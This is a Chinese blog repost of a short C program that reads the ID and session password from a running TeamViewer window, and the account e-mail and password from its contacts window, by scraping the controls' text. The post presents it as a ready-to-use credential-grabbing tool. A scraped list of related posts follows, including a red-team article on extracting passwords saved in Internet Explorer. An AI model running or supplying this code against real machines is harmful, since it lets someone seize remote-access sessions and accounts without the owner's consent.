获取运行中的TeamViewer的账号和密码--中文版
2019独角兽企业重金招聘Python工程师标准>>>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#include <string.h>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" ) int status = 0; BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{ const int BufferSize = 1024; char BufferContent[BufferSize] = ""; SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1) { printf("%s\n", BufferContent); status = 0; } if (strstr(BufferContent, "允许远程控制") != NULL) { status = 1; printf("TeamViewer ID: "); } if (strstr(BufferContent, "告诉你的伙伴") != NULL) { status = 1; printf("TeamViewer PASS: "); } return 1;
} BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{ const int BufferSize = 1024; char BufferContent[BufferSize] = ""; SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1) { printf("%s\n", BufferContent); status = 0; } if (strstr(BufferContent, "电子邮件") != NULL) { status = 1; printf("E-mail: "); } if (strstr(BufferContent, "密码") != NULL) { status = 1; printf("Password: "); } return 1;
} int main()
{ HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer"); if (hwndTeamViewer) { EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0); } HWND hwndAccount = FindWindow(NULL, "计算机和联系人"); if (hwndAccount) { EnumChildWindows(hwndAccount, EnumAccountWindow, 0); } return 0;
}
转载于:https://my.oschina.net/Customs/blog/504752
获取运行中的TeamViewer的账号和密码--中文版相关推荐
- Android5.1.+ getRunningAppProcesses()获取运行中进程(第三方开源库)
google可能为了安全考虑,在5.1.+后调用activitymanager.getRunningAppProcesses()方法只能返回你自己应用的进程,那如何在5.1.+后获取运行中进程呢?一个 ...
- 获取运行中的Word,excel对象
参考 获取运行中的Word对象:https://blog.csdn.net/seker_2006/article/details/1335702 PPT在CreateDispatch _T(" ...
- 获取运行中的Word对象
程序需要获取鼠标下已打开Word的内容,只要获取_Application的接口就可以了.搞了半天,终于知道使用AccessibleObjectFromWindow函数可以实现.MSDN上讲的不清楚,还 ...
- 浏览器获取设备信息_一条命令获取 IE 浏览器保存网站的账号和密码信息
渗透攻击红队 一个专注于红队攻击的公众号 大家好,这里是 渗透攻击红队 的第 41 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),不出意外每天一更 Powershell 内网渗透一直 ...
- Linux中用户账号和组账号的介绍
用户账号和组账号概述: 众所周知,Linux是基于用户身份对资源进行访问控制的. 用户账号: 超级用户:root 普通用户:普通用户账号一般只能在自己的宿主目录 ...
- 【Android实战】保存QQ账号与密码
大家好,我是汤姆凯特. 写在前面:今天用保存QQ账号和密码的实战演练,带大家掌握Android存储中最基本的文件存储方式 文件存储是Android中最基本的一种数据存储方式,它与Java中的文件存储类 ...
- 《Android移动应用基础教程》之保存QQ账号和密码
FileSaveQQ.java package njitt.software.saveqq;import android.content.Context;import java.io.FileInpu ...
- android 帐号密码xml,《Android移动应用基础教程》之保存QQ账号和密码
FileSaveQQ.java package njitt.software.saveqq; import android.content.Context; import java.io.FileIn ...
- Android实战——保存账号与密码
目录 实现效果 1.创建程序 2.布局activity_main.xml文件 3.创建工具类FileSaveQQ 4.在MainActivity编写界面交互代码 实现效果 1.创建程序 创建一个名为S ...
最新文章
- SAP WM LT10事务代码的一个坑?
- #ifdef _DEBUG
- 计算机学院可以表演的小品,中央戏剧学院小品表演真题之单人小品
- docker二进制代码编译
- Linux和Windows下部署BeetleX服务网关
- 基于Redis的消息队列php-resque
- bootstrap学习笔记(2)表单设计
- L1-016. 查验身份证-PAT团体程序设计天梯赛GPLT
- java核心基础 --- 基本数据类型
- php单独使用blade模板引擎,laravel 基础教程 —— Blade 模板引擎
- java中map函数指针_如何用Rust编写合适的map函数?
- 【转载】为什么要用黑莓?
- 【Java_Spring】控制反转IOC(Inversion of Control)
- python开源IP代理池--IPProxys
- 高数 | 导数极限定理、分段点求导能不能用公式?导数和导数的极限?
- excel后几位数字自动变成000
- 2022爱分析· 隐私计算厂商全景报告 | 爱分析报告
- vsFTP 基础及实战
- JavaSE-Adventure(VII) Java OOP 面向对象程序设计
- 简易费诺算法的C语言实现
热门文章
- Linux系统16进制形式查看二进制文件
- java 网络编程简单聊天_网络编程之 TCP 实现简单聊天
- hbase建索引java api_hbase java api样例(版本1.3.1,新API)
- mysql本周函数_MySQL的YEARWEEK函数以及查询本周数据_MySQL
- 千言万语汇总的Mybatis-plus常用API全套教程
- 千言万句,Nginx从入门到精通,看这一篇足矣
- 面试官:哪些原因会导致JAVA进程退出?
- nginx 反向代理和负载均衡
- Swift的Guard语句
- 替换功能replaceAll